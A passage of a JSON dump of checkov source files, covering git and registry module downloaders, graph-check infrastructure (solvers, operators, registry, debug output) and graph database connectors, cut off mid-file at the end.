    "content": "from __future__ import annotations\n\nimport logging\nimport re\nimport shutil\n\nfrom checkov.common.goget.base_getter import BaseGetter\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.contextmanagers import temp_environ\nfrom checkov.common.util.env_vars_config import env_vars_config\n\ntry:\n    from git import Repo\n    git_import_error = None\nexcept ImportError as e:\n    git_import_error = e\n\nCOMMIT_ID_PATTERN = re.compile(r\"\\?(ref=)(?P<commit_id>([0-9a-f]{5,40}))\")\nTAG_PATTERN = re.compile(r'\\?(ref=)(?P<tag>(.*))')  # technically should be with ?ref=tags/ but this catches both\nBRANCH_PATTERN = re.compile(r'\\?(ref=heads/)(?P<branch>(.*))')\n\n\nclass GitGetter(BaseGetter):\n    def __init__(self, url: str, create_clone_and_result_dirs: bool = True) -> None:\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n        self.create_clone_and_res_dirs = create_clone_and_result_dirs\n        self.tag = ''\n        self.commit_id: str | None = None\n        self.branch = ''\n\n        if \"?ref\" in url:\n            url = self.extract_git_ref(url=url)\n\n        super().__init__(url)\n\n    def extract_git_ref(self, url: str) -> str:\n        search_branch = re.search(BRANCH_PATTERN, url)\n        if search_branch:\n            self.branch = search_branch.group(\"branch\")\n            # remove heads/ from ref= to get actual branch name\n            # self.branch = re.sub('heads.*/', '', url)\n            url = re.sub(BRANCH_PATTERN, '', url)\n            return url\n\n        search_commit_id = re.search(COMMIT_ID_PATTERN, url)\n        if search_commit_id:\n            self.commit_id = search_commit_id.group(\"commit_id\")\n            url = re.sub(COMMIT_ID_PATTERN, '', url)\n            return url\n\n        search_tag = re.search(TAG_PATTERN, url)\n        if search_tag:\n            self.tag = search_tag.group(\"tag\")\n            # remove tag/ or tags/ from ref= to get actual branch name\n            self.tag = re.sub('tag.*/', '', self.tag)\n            url = re.sub(TAG_PATTERN, '', url)\n            return url\n\n        self.logger.info(\"Module URL has an unknown ref\")\n\n        return url\n\n    def do_get(self) -> str:\n        if git_import_error is not None:\n            raise ImportError(\"Unable to load git module (is the git executable available?)\") \\\n                from git_import_error\n        git_url, internal_dir = self._source_subdir()\n        clone_dir = self.temp_dir + \"/clone/\" if self.create_clone_and_res_dirs else self.temp_dir\n        self._clone(git_url, clone_dir)\n\n        if self.create_clone_and_res_dirs:\n            result_dir = self.temp_dir + \"/result/\"\n            shutil.copytree(clone_dir, result_dir)\n            return result_dir\n\n        return clone_dir\n\n    def _clone(self, git_url: str, clone_dir: str) -> None:\n        self.logger.info(f\"cloning {git_url} to {clone_dir}\")\n        with temp_environ(GIT_TERMINAL_PROMPT=\"0\"):  # disables user prompts originating from GIT\n            if env_vars_config.PROXY_URL:\n                self.logger.info(f'Performing clone through proxy - {env_vars_config.PROXY_URL}')\n                with temp_environ(GIT_SSL_CAINFO=env_vars_config.PROXY_CA_PATH,\n                                  https_proxy=env_vars_config.PROXY_URL,\n                                  GIT_CONFIG_PARAMETERS=f\"'http.extraHeader={env_vars_config.PROXY_HEADER_KEY}:{env_vars_config.PROXY_HEADER_VALUE}'\"):\n                    self._clone_helper(clone_dir, git_url)\n                return\n            ca_bundle = env_vars_config.BC_CA_BUNDLE\n            if ca_bundle:\n                self.logger.info(f'Using custom CA bundle from BC_CA_BUNDLE: {ca_bundle}')\n                with temp_environ(GIT_SSL_CAINFO=ca_bundle):\n                    self._clone_helper(clone_dir, git_url)\n                return\n            self._clone_helper(clone_dir, git_url)\n\n    def _clone_helper(self, clone_dir: str, git_url: str) -> None:\n        if self.branch:\n            Repo.clone_from(git_url, clone_dir, branch=self.branch, depth=1)  # depth=1 for shallow clone\n        elif self.commit_id:  # no commit id support for branch\n            repo = Repo.clone_from(git_url, clone_dir, no_checkout=True)  # need to be a full git clone\n            repo.git.checkout(self.commit_id)\n        elif self.tag:\n            Repo.clone_from(git_url, clone_dir, depth=1, b=self.tag)\n        else:\n            Repo.clone_from(git_url, clone_dir, depth=1)\n\n    # Split source url into Git url and subdirectory path e.g. test.com/repo//repo/subpath becomes 'test.com/repo', '/repo/subpath')\n    # Also see reference implementation @ go-getter https://github.com/hashicorp/go-getter/blob/main/source.go\n    def _source_subdir(self) -> tuple[str, str]:\n        stop = len(self.url)\n\n        query_index = self.url.find(\"?\")\n        if query_index > -1:\n            stop = query_index\n\n        start = 0\n        scheme_index = self.url.find(\"://\", start, stop)\n        if scheme_index > -1:\n            start = scheme_index + 3\n\n        subdir_index = self.url.find(\"//\", start, stop)\n        if subdir_index == -1:\n            return self.url, \"\"\n\n        internal_dir = self.url[subdir_index + 1:stop]  # Note: Internal dir is expected to start with /\n        git_url = self.url[:subdir_index] + self.url[stop:]\n\n        return git_url, internal_dir\n"
  },
  {
    "path": "checkov/common/goget/registry/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/goget/registry/get_registry.py",
    "content": "import logging\nimport requests\nimport os\n\nfrom checkov.common.goget.base_getter import BaseGetter\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.file_utils import extract_tar_archive\nfrom checkov.common.util.file_utils import extract_zip_archive\nfrom checkov.common.util.http_utils import DEFAULT_TIMEOUT\n\n\nclass RegistryGetter(BaseGetter):\n    def __init__(self, url: str, extension: str, create_clone_and_result_dirs: bool = False) -> None:\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n        self.extension = extension\n        self.create_clone_and_res_dirs = create_clone_and_result_dirs\n        super().__init__(url)\n\n    def do_get(self) -> str:\n        # get dest dir\n        download_path = os.path.join(self.temp_dir, f'module_source.{self.extension}')\n        # download zip\n        dest_path = os.path.dirname(download_path)\n        with requests.get(self.url, stream=True, timeout=DEFAULT_TIMEOUT) as r:\n            r.raise_for_status()\n            os.makedirs(dest_path, exist_ok=True)\n            with open(download_path, 'wb+') as f:\n                for chunk in r.iter_content(chunk_size=8192):\n                    f.write(chunk)\n        # extract\n        if self.extension == 'zip':\n            extract_zip_archive(source_path=download_path, dest_path=dest_path)\n        else:\n            extract_tar_archive(source_path=download_path, dest_path=dest_path)\n        os.remove(download_path)\n\n        return dest_path\n"
  },
  {
    "path": "checkov/common/graph/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/checks_infra/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/checks_infra/base_check.py",
    "content": "from __future__ import annotations\n\nimport itertools\nfrom typing import Optional, Tuple, List, Dict, Any, TYPE_CHECKING\n\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.severities import Severity\n    from networkx import DiGraph\n\n\nclass BaseGraphCheck:\n    def __init__(self) -> None:\n        self.id = \"\"\n        self.bc_id = None\n        self.name = \"\"\n        self.category = \"\"\n        self.resource_types: List[str] = []\n        self.connected_resources_types: List[str] = []\n        self.operator = \"\"\n        self.attribute: Optional[str] = None\n        self.attribute_value: Optional[str] = None\n        self.sub_checks: List[\"BaseGraphCheck\"] = []\n        self.type: Optional[SolverType] = None\n        self.solver: Optional[BaseSolver] = None\n        self.guideline: Optional[str] = None\n        self.benchmarks: Dict[str, List[str]] = {}\n        self.severity: Optional[Severity] = None\n        self.bc_category: Optional[str] = None\n        self.frameworks: List[str] = []\n        self.is_jsonpath_check: bool = False\n        self.check_path: str = \"\"\n\n    def set_solver(self, solver: BaseSolver) -> None:\n        self.solver = solver\n\n    def run(self, graph_connector: DiGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        if not self.solver:\n            raise AttributeError(\"solver attribute was not set\")\n\n        return self.solver.run(graph_connector=graph_connector)\n\n    def get_output_id(self, use_bc_ids: bool) -> str:\n        return self.bc_id if self.bc_id and use_bc_ids else self.id\n\n    def get_evaluated_keys(self) -> List[str]:\n        if self.sub_checks:\n            return list(set(itertools.chain.from_iterable(check.get_evaluated_keys() for check in self.sub_checks)))\n        return [\"/\".join(self.attribute.split('.'))] if self.attribute else []\n"
  },
  {
    "path": "checkov/common/graph/checks_infra/base_parser.py",
    "content": "from __future__ import annotations\n\nfrom typing import Dict, Any\n\nfrom checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n\n\nclass BaseGraphCheckParser:\n    def validate_check_config(self, file_path: str, raw_check: dict[str, dict[str, Any]]) -> bool:\n        \"\"\"Validates the graph check config\"\"\"\n        return True\n\n    def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> BaseGraphCheck:\n        raise NotImplementedError\n"
  },
  {
    "path": "checkov/common/graph/checks_infra/debug.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom collections.abc import Iterable\nfrom typing import Any, TYPE_CHECKING\n\nimport yaml\nfrom termcolor import colored\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.env_vars_config import env_vars_config\n\nif TYPE_CHECKING:\n    from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef graph_check(check_id: str, check_name: str) -> None:\n    if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG:\n        return\n\n    print(f'\\nEvaluating graph policy: \"{check_id}\" - \"{check_name}\"')\n\n\ndef resource_types(resource_types: Iterable[str], resource_count: int, operator: str) -> None:\n    if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG:\n        return\n\n    resource_types_str = '\", \"'.join(resource_types)\n    print(\n        f'\\nFound {resource_count} resources with resource types: \"{resource_types_str}\" to check against operator: \"{operator}\"'\n    )\n\n\ndef attribute_block(\n    resource_types: Iterable[str],\n    attribute: str | None,\n    operator: str,\n    value: str | list[str] | None,\n    resource: dict[str, Any],\n    status: str,\n) -> None:\n    if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG:\n        return\n\n    attribute_block_conf = _create_attribute_block(\n        resource_types=resource_types, attribute=attribute, operator=operator, value=value\n    )\n    color = \"green\" if status == \"passed\" else \"red\"\n\n    print(\"\\nEvaluated block:\\n\")\n    print(colored(yaml.dump([attribute_block_conf], sort_keys=False), \"blue\"))\n    print(\"and got:\")\n    print(colored(f'\\nResource \"{resource[CustomAttributes.ID]}\" {status}:', color))\n    print(colored(json.dumps(resource[CustomAttributes.CONFIG], indent=2), \"yellow\"))\n\n\ndef connection_block(\n    resource_types: Iterable[str],\n    connected_resource_types: Iterable[str],\n    operator: str,\n    passed_resources: list[dict[str, Any]],\n    failed_resources: list[dict[str, Any]],\n) -> None:\n    if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG:\n        return\n\n    connection_block_conf = _create_connection_block(\n        resource_types=resource_types,\n        connected_resource_types=connected_resource_types,\n        operator=operator,\n    )\n\n    passed_resources_str = '\", \"'.join(resource[CustomAttributes.ID] for resource in passed_resources)\n    failed_resources_str = '\", \"'.join(resource[CustomAttributes.ID] for resource in failed_resources)\n\n    print(\"\\nEvaluated blocks:\\n\")\n    print(colored(yaml.dump([connection_block_conf], sort_keys=False), \"blue\"))\n    print(\"and got:\\n\")\n    print(colored(f'Passed resources: \"{passed_resources_str}\"', \"green\"))\n    print(colored(f'Failed resources: \"{failed_resources_str}\"', \"red\"))\n\n\ndef complex_connection_block(\n    solvers: list[BaseSolver],\n    operator: str,\n    passed_resources: list[dict[str, Any]],\n    failed_resources: list[dict[str, Any]],\n) -> None:\n    if not env_vars_config.EXPERIMENTAL_GRAPH_DEBUG:\n        return\n\n    # to prevent circular dependencies\n    from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n    from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\n    from checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver\n    from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import (\n        ComplexConnectionSolver,\n    )\n    from checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver\n\n    complex_connection_block = []\n\n    for solver in solvers:\n        if isinstance(solver, BaseAttributeSolver):\n            block = _create_attribute_block(\n                resource_types=solver.resource_types,\n                attribute=solver.attribute,\n                operator=solver.operator,\n                value=solver.value,\n            )\n        elif isinstance(solver, BaseFilterSolver):\n            block = _create_filter_block(attribute=solver.attribute, operator=solver.operator, value=solver.value)\n        elif isinstance(solver, (ComplexConnectionSolver, BaseComplexSolver)):\n            # ComplexConnectionSolver check needs to be before BaseConnectionSolver, because it is a subclass\n            block = {solver.operator: [\"...\" for _ in solver.solvers]}\n        elif isinstance(solver, BaseConnectionSolver):\n            block = _create_connection_block(\n                resource_types=solver.resource_types,\n                connected_resource_types=solver.connected_resources_types,\n                operator=solver.operator,\n            )\n        else:\n            logger.info(f\"Unsupported solver type {type(solver)} found\")\n            continue\n\n        complex_connection_block.append(block)\n\n    passed_resources_str = '\", \"'.join(resource[CustomAttributes.ID] for resource in passed_resources)\n    failed_resources_str = '\", \"'.join(resource[CustomAttributes.ID] for resource in failed_resources)\n\n    print(\"\\nEvaluated blocks:\\n\")\n    print(colored(yaml.dump([{operator: complex_connection_block}], sort_keys=False), \"blue\"))\n    print(\"and got:\\n\")\n    print(colored(f'Passed resources: \"{passed_resources_str}\"', \"green\"))\n    print(colored(f'Failed resources: \"{failed_resources_str}\"', \"red\"))\n\n\ndef _create_attribute_block(\n    resource_types: Iterable[str], attribute: str | None, operator: str, value: str | list[str] | None\n) -> dict[str, Any]:\n    attribute_block_conf = {\n        \"cond_type\": \"attribute\",\n        \"resource_types\": resource_types,\n        \"attribute\": attribute,\n        \"operator\": operator,\n    }\n    if value is not None:\n        attribute_block_conf[\"value\"] = value\n\n    return attribute_block_conf\n\n\ndef _create_connection_block(\n    resource_types: Iterable[str], connected_resource_types: Iterable[str], operator: str\n) -> dict[str, Any]:\n    attribute_block_conf = {\n        \"cond_type\": \"connection\",\n        \"resource_types\": resource_types,\n        \"connected_resource_types\": connected_resource_types,\n        \"operator\": operator,\n    }\n    return attribute_block_conf\n\n\ndef _create_filter_block(attribute: str | None, operator: str, value: str | list[str]) -> dict[str, Any]:\n    attribute_block_conf = {\n        \"cond_type\": \"filter\",\n        \"attribute\": attribute,\n        \"operator\": operator,\n        \"value\": value,\n    }\n    return attribute_block_conf\n"
  },
  {
    "path": "checkov/common/graph/checks_infra/enums.py",
    "content": "from enum import Enum\n\n\nclass SolverType(str, Enum):\n    # A solver is a class that resolves YAML syntax into a graph query\n    # It can have the following types:\n    ATTRIBUTE = \"ATTRIBUTE\"\n    # An attribute query, i.e. id equals 3\n\n    COMPLEX = \"COMPLEX\"\n    # A combination of queries, i.e. <SOME_QUERY> AND <ANOTHER_QUERY>\n\n    CONNECTION = \"CONNECTION\"\n    # A connection between two entities, i.e. ec2 instance connected to security group\n\n    # TODO: merge with COMPLEX\n    COMPLEX_CONNECTION = \"COMPLEX_CONNECTION\"\n    # A combination of CONNECTION solver and any other solver\n\n    FILTER = \"FILTER\"\n    # Filters results according to specific value / type, i.e. resource type is aws_s3_bucket\n\n    RESOURCE = \"RESOURCE\"\n    # Used to define allow/deny lists of resource types\n\n\nclass Operators:\n    ANY = 'any'\n    EXISTS = 'exists'\n    ONE_EXISTS = 'one_exists'\n    NOT_EXISTS = 'not_exists'\n    CONTAINS = 'contains'\n    NOT_CONTAINS = 'not_contains'\n    ENDING_WITH = 'ending_with'\n    NOT_ENDING_WITH = 'not_ending_with'\n    EQUALS = 'equals'\n    NOT_EQUALS = 'not_equals'\n    REGEX_MATCH = 'regex_match'\n    NOT_REGEX_MATCH = 'not_regex_match'\n    GREATER_THAN = 'greater_than'\n    GREATER_THAN_OR_EQUAL = 'greater_than_or_equal'\n    LESS_THAN = 'less_than'\n    LESS_THAN_OR_EQUAL = 'less_than_or_equal'\n    STARTING_WITH = 'starting_with'\n    NOT_STARTING_WITH = 'not_starting_with'\n    SUBSET = 'subset'\n    NOT_SUBSET = 'not_subset'\n    WITHIN = 'within'\n    NOT_WITHIN = 'not_within'\n    AND = 'and'\n    OR = 'or'\n    NOT = 'not'\n    JSONPATH_EQUALS = 'jsonpath_equals'\n    JSONPATH_NOT_EQUALS = 'jsonpath_not_equals'\n    JSONPATH_EXISTS = 'jsonpath_exists'\n    JSONPATH_NOT_EXISTS = 'jsonpath_not_exists'\n    IS_EMPTY = 'is_empty'\n    IS_NOT_EMPTY = 'is_not_empty'\n    LENGTH_EQUALS = 'length_equals'\n    LENGTH_NOT_EQUALS = 'length_not_equals'\n    LENGTH_GREATER_THAN = 'length_greater_than'\n    LENGTH_GREATER_THAN_OR_EQUAL = 'length_greater_than_or_equal'\n    LENGTH_LESS_THAN = 'length_less_than'\n    LENGTH_LESS_THAN_OR_EQUAL = 'length_less_than_or_equal'\n    IS_TRUE = 'is_true'\n    IS_FALSE = 'is_false'\n    INTERSECTS = 'intersects'\n    NOT_INTERSECTS = 'not_intersects'\n    EQUALS_IGNORE_CASE = 'equals_ignore_case'\n    NOT_EQUALS_IGNORE_CASE = 'not_equals_ignore_case'\n    RANGE_INCLUDES = 'range_includes'\n    RANGE_NOT_INCLUDES = 'range_not_includes'\n    NUMBER_OF_WORDS_EQUALS = 'number_of_words_equals'\n    NUMBER_OF_WORDS_NOT_EQUALS = 'number_of_words_not_equals'\n    NUMBER_OF_WORDS_GREATER_THAN = 'number_of_words_greater_than'\n    NUMBER_OF_WORDS_GREATER_THAN_OR_EQUAL = 'number_of_words_greater_than_or_equal'\n    NUMBER_OF_WORDS_LESS_THAN = 'number_of_words_less_than'\n    NUMBER_OF_WORDS_LESS_THAN_OR_EQUAL = 'number_of_words_less_than_or_equal'\n    CIDR_RANGE_SUBSET = 'cidr_range_subset'\n    CIDR_RANGE_NOT_SUBSET = 'cidr_range_not_subset'\n"
  },
  {
    "path": "checkov/common/graph/checks_infra/registry.py",
    "content": "from __future__ import annotations\nimport concurrent.futures\nimport logging\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.graph.checks_infra import debug\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.common.graph.checks_infra.base_parser import BaseGraphCheckParser\n    from checkov.common.typing import _CheckResult, LibraryGraph\n\n\nclass BaseRegistry:\n    def __init__(self, parser: BaseGraphCheckParser) -> None:\n        self.checks: \"list[BaseGraphCheck]\" = []\n        self.parser = parser\n\n    def load_checks(self) -> None:\n        raise NotImplementedError\n\n    def run_checks(\n        self, graph_connector: LibraryGraph, runner_filter: RunnerFilter, report_type: str\n    ) -> dict[BaseGraphCheck, list[_CheckResult]]:\n\n        check_results: \"dict[BaseGraphCheck, list[_CheckResult]]\" = {}\n\n        checks_to_run = [c for c in self.checks if runner_filter.should_run_check(c, report_type=report_type)]\n        with concurrent.futures.ThreadPoolExecutor() as executor:\n            concurrent.futures.wait(\n                [executor.submit(self.run_check_parallel, check, check_results, graph_connector)\n                 for check in checks_to_run]\n            )\n        return check_results\n\n    def run_check_parallel(\n            self, check: BaseGraphCheck, check_results: dict[BaseGraphCheck, list[_CheckResult]],\n            graph_connector: LibraryGraph\n    ) -> None:\n        logging.debug(f'Running graph check: {check.id}')\n        debug.graph_check(check_id=check.id, check_name=check.name)\n\n        passed, failed, unknown = check.run(graph_connector)\n        evaluated_keys = check.get_evaluated_keys()\n        check_result = self._process_check_result(passed, [], CheckResult.PASSED, evaluated_keys)\n        check_result = self._process_check_result(failed, check_result, CheckResult.FAILED, evaluated_keys)\n        check_result = self._process_check_result(unknown, check_result, CheckResult.UNKNOWN, evaluated_keys)\n        check_results[check] = check_result\n\n    @staticmethod\n    def _process_check_result(\n        results: list[dict[str, Any]],\n        processed_results: list[_CheckResult],\n        result: CheckResult,\n        evaluated_keys: list[str],\n    ) -> list[_CheckResult]:\n        for vertex in results:\n            processed_results.append({\"result\": result, \"entity\": vertex, \"evaluated_keys\": evaluated_keys})\n        return processed_results\n"
  },
  {
    "path": "checkov/common/graph/checks_infra/solvers/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/checks_infra/solvers/base_solver.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Tuple, List, Dict, Any, TYPE_CHECKING\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.util.env_vars_config import env_vars_config\n\nif TYPE_CHECKING:\n    from networkx import DiGraph\n\n# Based on the resource names in iac frameworks\nAWS_KEYS = ['aws_', 'AWS::', 'aws-']\nGCP_KEYS = ['gcloud', 'google_']\nAZURE_KEYS = ['azurerm_', 'Microsoft.']\n\n\nclass BaseSolver:\n    operator = \"\"  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solver_type: SolverType) -> None:\n        self.solver_type = solver_type\n        self.providers: List[str] = []\n\n    @abstractmethod\n    def get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        raise NotImplementedError()\n\n    @abstractmethod\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        raise NotImplementedError()\n\n    @abstractmethod\n    def run(self, graph_connector: DiGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        raise NotImplementedError()\n\n    def resource_type_pred(self, v: Dict[str, Any], resource_types: List[str]) -> bool:\n        resource_type = CustomAttributes.RESOURCE_TYPE\n        if env_vars_config.CKV_SUPPORT_ALL_RESOURCE_TYPE:\n            is_all_resources = isinstance(resource_types, list) and resource_types[0].lower() == \"all\"\n            resource_type_match_provider = self.resource_match_provider(v.get(resource_type, ''))\n            support_all_resources = bool(resource_type in v and is_all_resources and v.get(resource_type) != 'module' and resource_type_match_provider)\n\n            return not resource_types or support_all_resources\n\n        return not resource_types or (resource_type in v and v[resource_type] in resource_types)\n\n    def resource_match_provider(self, resource_type: str) -> bool:\n        if not self.providers:\n            return True\n        for provider in self.providers:\n            if provider.lower() == 'aws':\n                if any(resource_type.startswith(key) for key in AWS_KEYS):\n                    return True\n            elif provider.lower() == 'gcp':\n                if any(resource_type.startswith(key) for key in GCP_KEYS):\n                    return True\n            elif provider.lower() == 'azure':\n                if any(resource_type.startswith(key) for key in AZURE_KEYS):\n                    return True\n            else:  # if we don't have a provider or the provider was not one of the basic providers\n                return True\n        return False\n"
  },
  {
    "path": "checkov/common/graph/db_connectors/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/db_connectors/db_connector.py",
    "content": "from __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom typing import TYPE_CHECKING, TypeVar, Generic\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block  # noqa\n    from checkov.common.graph.graph_builder.local_graph import LocalGraph\n\nT = TypeVar(\"T\")\n_Block = TypeVar(\"_Block\", bound=\"Block\")\n\n\nclass DBConnector(ABC, Generic[T]):\n    @abstractmethod\n    def save_graph(self, local_graph: LocalGraph[_Block]) -> T:\n        pass\n\n    @abstractmethod\n    def get_reader_endpoint(self) -> T:\n        pass\n\n    @abstractmethod\n    def get_writer_endpoint(self) -> T:\n        pass\n\n    @abstractmethod\n    def disconnect(self) -> None:\n        pass\n"
  },
  {
    "path": "checkov/common/graph/db_connectors/networkx/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/db_connectors/networkx/networkx_db_connector.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, TypeVar\n\nimport networkx as nx\n\nfrom checkov.common.graph.db_connectors.db_connector import DBConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block  # noqa\n    from checkov.common.graph.graph_builder.local_graph import LocalGraph\n\n_Block = TypeVar(\"_Block\", bound=\"Block\")\n\n\nclass NetworkxConnector(DBConnector[nx.DiGraph]):\n    def __init__(self) -> None:\n        self.graph = nx.DiGraph()\n\n    def save_graph(self, local_graph: LocalGraph[_Block], add_bulk_edges: bool = False) -> nx.DiGraph:\n        return self.networkx_from_local_graph(local_graph)\n\n    def get_reader_endpoint(self) -> nx.DiGraph:\n        return self.graph\n\n    def get_writer_endpoint(self) -> nx.DiGraph:\n        return self.graph\n\n    def networkx_from_local_graph(self, local_graph: LocalGraph[_Block]) -> nx.DiGraph:\n        self.graph = nx.DiGraph()\n        vertices_attributes = [v.get_attribute_dict() for v in local_graph.vertices]\n        vertices_to_add = [(attr[CustomAttributes.HASH], attr) for attr in vertices_attributes]\n        edges_to_add = [\n            (\n                vertices_attributes[e.origin][CustomAttributes.HASH],\n                vertices_attributes[e.dest][CustomAttributes.HASH],\n                {\"label\": e.label},\n            )\n            for e in local_graph.edges\n        ]\n\n        self.graph.add_nodes_from(vertices_to_add)\n        self.graph.add_edges_from(edges_to_add)\n\n        return self.graph\n\n    def disconnect(self) -> None:\n        # not used, but is an abstractmethod\n        return None\n"
  },
  {
    "path": "checkov/common/graph/db_connectors/rustworkx/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/db_connectors/rustworkx/rustworkx_db_connector.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, TypeVar, Any  # noqa\n\nfrom rustworkx import PyDiGraph\n\nfrom checkov.common.graph.db_connectors.db_connector import DBConnector\nfrom checkov.common.typing import _RustworkxGraph\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block  # noqa\n    from checkov.common.graph.graph_builder.local_graph import LocalGraph\n\n_Block = TypeVar(\"_Block\", bound=\"Block\")\n\n\nclass RustworkxConnector(DBConnector[_RustworkxGraph]):\n    def __init__(self) -> None:\n        self.graph: _RustworkxGraph = PyDiGraph()\n\n    def save_graph(self, local_graph: LocalGraph[_Block], add_bulk_edges: bool = False) -> _RustworkxGraph:\n        return self.rustworkx_from_local_graph(local_graph)\n\n    def get_reader_endpoint(self) -> _RustworkxGraph:\n        return self.graph\n\n    def get_writer_endpoint(self) -> _RustworkxGraph:\n        return self.graph\n\n    def rustworkx_from_local_graph(self, local_graph: LocalGraph[_Block]) -> _RustworkxGraph:\n        self.graph = PyDiGraph()\n        vertices_to_add = []\n        for index, vertex in enumerate(local_graph.vertices):\n            attr = vertex.get_attribute_dict()\n            vertices_to_add.append((index, attr))\n\n        edges_to_add: list[tuple[int, int, dict[str, str | int]]] = [\n            (\n                e.origin,\n                e.dest,\n                {\"label\": e.label, \"source\": e.origin, \"target\": e.dest},\n            )\n            for e in local_graph.edges\n        ]\n\n        self.graph.add_nodes_from(vertices_to_add)\n        self.graph.add_edges_from(edges_to_add)\n\n        return self.graph\n\n    def disconnect(self) -> None:\n        # not used, but is an abstractmethod\n        return None\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/__init__.py",
    "content": "from .graph_components.edge import *  # noqa\nfrom .graph_components.attribute_names import *  # noqa\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/consts.py",
    "content": "from enum import Enum\n\n\nSELF_REFERENCE = \"__self__\"\n\n\nclass GraphSource(str, Enum):\n    ANSIBLE = \"Ansible\"\n    ARM = \"ARM\"\n    BICEP = \"Bicep\"\n    CLOUDFORMATION = \"CloudFormation\"\n    DOCKERFILE = \"Dockerfile\"\n    GITHUB_ACTIONS = \"GitHubActions\"\n    KUBERNETES = \"Kubernetes\"\n    TERRAFORM = \"Terraform\"\n    TERRAFORM_PLAN = \"terraform_plan\"\n    KUSTOMIZE = \"kustomize\"\n    GITHUB_ACTION = \"github_actions\"\n    HELM = \"helm\"\n    SERVERLESS = \"serverless\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_components/attribute_names.py",
    "content": "from dataclasses import dataclass\nfrom enum import Enum\nfrom typing import List, Any\n\n\n@dataclass\nclass CustomAttributes:\n    BLOCK_NAME = \"block_name_\"\n    BLOCK_TYPE = \"block_type_\"\n    FILE_PATH = \"file_path_\"\n    CONFIG = \"config_\"\n    ATTRIBUTES = \"attributes_\"\n    LABEL = \"label_\"\n    ID = \"id_\"\n    HASH = \"hash\"\n    RENDERING_BREADCRUMBS = \"rendering_breadcrumbs_\"\n    SOURCE = \"source_\"\n    RESOURCE_TYPE = \"resource_type\"\n    RESOURCE_ID = \"resource_id\"\n    SOURCE_MODULE = \"source_module_\"\n    MODULE_DEPENDENCY = \"module_dependency_\"\n    MODULE_DEPENDENCY_NUM = \"module_dependency_num_\"\n    ENCRYPTION = \"encryption_\"\n    ENCRYPTION_DETAILS = \"encryption_details_\"\n    TF_RESOURCE_ADDRESS = \"__address__\"\n    PROVIDER_ADDRESS = \"__provider_address__\"\n    REFERENCES = \"references_\"\n    FOREACH_ATTRS = \"foreach_attrs_\"\n    SOURCE_MODULE_OBJECT = \"source_module_object_\"\n    CONNECTED_NODE = \"connected_node\"\n    VIRTUAL_RESOURCES = \"virtual_resources\"\n\n\ndef props(cls: Any) -> List[str]:\n    return [i for i in cls.__dict__.keys() if i[:1] != \"_\"]\n\n\ndef wrap_reserved_attributes(attribute: str, prefix: str = '_') -> str:\n    return f\"{prefix}{attribute}\"\n\n\nreserved_attribute_names = props(CustomAttributes)\nreserved_attributes_to_scan = [CustomAttributes.RESOURCE_TYPE]\n\n\nclass EncryptionValues(str, Enum):\n    ENCRYPTED = \"ENCRYPTED\"\n    UNENCRYPTED = \"UNENCRYPTED\"\n\n\nclass EncryptionTypes(str, 